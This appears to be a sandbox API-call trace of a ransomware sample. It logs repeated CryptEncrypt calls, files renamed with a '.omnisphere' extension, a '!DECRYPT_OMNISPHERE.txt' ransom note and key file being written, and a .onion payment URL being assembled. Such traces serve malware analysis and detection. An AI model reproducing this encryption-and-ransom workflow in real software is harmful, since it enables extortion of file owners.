CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.357] CryptDestroyKey (hKey=0x1639b68) returned 1 [0120.357] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0120.357] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x439, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.357] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.357] GetProcessHeap () returned 0x1600000 [0120.357] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16ca948 [0120.357] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i4l_hd.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i4l_hd.lnk.omnisphere")) returned 1 [0120.358] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk.omnisphere.id" [0120.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i4l_hd.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.358] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.360] CloseHandle (hObject=0x3c0) returned 1 [0120.360] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.360] CloseHandle (hObject=0x288) returned 1 [0120.360] SetEndOfFile (hFile=0x28c) returned 1 [0120.360] FlushFileBuffers (hFile=0x28c) returned 1 [0120.365] CloseHandle (hObject=0x28c) returned 1 [0120.365] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.365] GetProcessHeap () returned 0x1600000 [0120.365] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.365] GetProcessHeap () returned 0x1600000 [0120.365] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1eb0 [0120.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1eb0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.365] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.365] GetProcessHeap () returned 0x1600000 [0120.365] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0168 [0120.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0168, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.365] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.365] GetProcessHeap () returned 0x1600000 [0120.365] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfae8 [0120.365] PathCombineW (in: pszDest=0x16bfae8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.366] GetProcessHeap () returned 0x1600000 [0120.366] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c89a0 [0120.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.366] WriteFile (in: hFile=0x28c, lpBuffer=0x16c89a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c89a0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.366] CloseHandle (hObject=0x28c) returned 1 [0120.366] GetProcessHeap () returned 0x1600000 [0120.366] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.366] GetProcessHeap () returned 0x1600000 [0120.366] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.366] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.366] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.367] CloseHandle (hObject=0x28c) returned 1 [0120.380] GetProcessHeap () returned 0x1600000 [0120.380] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.380] GetProcessHeap () returned 0x1600000 [0120.380] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b948 | out: hHeap=0x1600000) returned 1 [0120.380] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e63c7e4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e63c7e4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e662983, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0xd3, cFileName="i58XQciyj.lnk", cAlternateFileName="I58XQC~1.LNK")) returned 1 [0120.380] GetProcessHeap () returned 0x1600000 [0120.380] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x16560e8 [0120.380] PathCombineW (in: pszDest=0x16560e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="i58XQciyj.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk" [0120.380] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i58xqciyj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.380] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1234) returned 1 [0120.380] GetTickCount () returned 0x115e135 [0120.380] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] GetTickCount () returned 0x115e135 [0120.381] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0120.382] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0120.382] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.382] CryptDestroyKey (hKey=0x1639868) returned 1 [0120.382] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0120.382] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d2, lpName=0x0) returned 0x288 [0120.382] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d2) returned 0x1480000 [0120.383] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0120.383] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0120.383] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.383] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.383] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.383] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.383] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.384] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 